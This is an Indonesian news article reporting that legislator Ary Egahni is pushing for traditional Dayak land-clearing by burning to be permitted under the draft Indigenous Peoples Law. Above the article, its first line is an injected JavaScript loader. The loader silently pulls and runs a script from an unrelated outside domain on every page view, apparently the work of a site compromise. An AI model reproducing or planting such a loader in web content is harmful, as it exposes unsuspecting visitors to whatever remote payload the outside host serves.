(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: SOSOK

Ary Egahni Perjuangkan Cara Peladang Dayak Buka Lahan dalam RUU MHA


KANALKALIMANTAN. COM, KUALA KAPUAS – Anggota DPR RI Fraksi NasDem Dapil Kalimantan Tengah, Ary Egahni Ben Bahat dikenal sebagai sosok yang sangat memperhatikan kehidupan masyarakat adat dayak. Ary yang juga merupakan anggota panitia kerja (Panja) RUU Masyarakat Hukum Adat (MHA) di badan legislasi DPR RI menyuarakan agar hak-hak masyarakat adat dayak bisa terpenuhi.

Salah satu yang lantang Ary suarakan adalah tata cara kearifan lokal masyarakat dayak dalam berladang. Mereka, kata Ary, biasa membuka lahan sebagai tempat berladang dengan cara membakar. Menurutnya, kebiasaan masyarakat adat dayak tersebut sudah ada sejak zaman Indonesia belum merdeka.

Istri dari Bupati Kapuas, Ir Ben Brahim S Bahat ini juga menilai UU nomor 32 tahun 2009 tentang perlindungan dan pengelolaan lingkungan hidup tersebut perlu pengecualian. Pada poin H dalam UU tersebut disebutkan, dilarang melakukan pembukaan lahan dengan cara dibakar.

“Kami itu punya namanya peladang tradisional. Saya perlu jelaskan bahwa orang dayak sejak dahulu kala, sebelum Indonesia merdeka, sejak zaman penjajahan pun sudah punya kearifan lokal membuka lahan pertanian dengan membakar. Dan tidak pernah terjadi Karhutla,” ujar Ary Egahni.

Anggota Komisi III DPR RI ini mengungkapkan, para peladang lokal mempunyai teknik tersendiri dalam melakukan pembakaran untuk pembukaan lahan. Teknik tersebut, Kata Ery, tidak akan menimbulkan Karhutla.

“Satu bentuk budaya lokal orang dayak asli. Mereka ketika membuka lahan ada ilmunya. Jadi melihat arah angin, mengawal lahan, dan sebagainya,” kata Ary.

“Jadi misalkan lahan yang akan dibuka luasnya 20 kali 30 meter persegi, hanya bagian itu yang terbakar, tidak lebih dari itu, apalagi sampai terjadi Karhutla, tidak akan mungkin terjadi,” tambahnya.

Perjuangan Ary yang cukup panjang akhirnya membuahkan hasil. Setelah lantang menyuarakan hak-hak masyarakat adat dayak di depan Kapolri dan badan legislasi. Keluarlah payung hukum yang melindungi masyarakat adat dayak.

“Kapolda Kalteng sudah memberikan keringanan bagi masyarakat adat untuk membuka lahan dengan cara dibakar. Para pemimpin di 13 kabupaten dan 1 kota juga akhirnya mengeluarkan Perbup dan Perwali yang melindungi masyarakat adat dalam membuka lahan secara tradisional,” ucap Ary.

“Doakan agar RUU MHA ini segera dapat dieksekusi menjadi UU MHA. Karena sudah selesai dalam pembahasan tingkat satu dan dua,” tambahnya.

Selain menyuarakan keadilan bagi para peladang tradisional masyarakat adat. Ary juga aktif menyuarakan kearifan lokal masyarakat adat fayak seperti hak ulayat dan hak atas tanah adat. (kanalkalimantan.com/ags)

 

 

Reporter: Ags
Editor : Bie


Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

10 menit ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

53 menit ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

3 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

4 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

5 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

5 jam ago

This website uses cookies.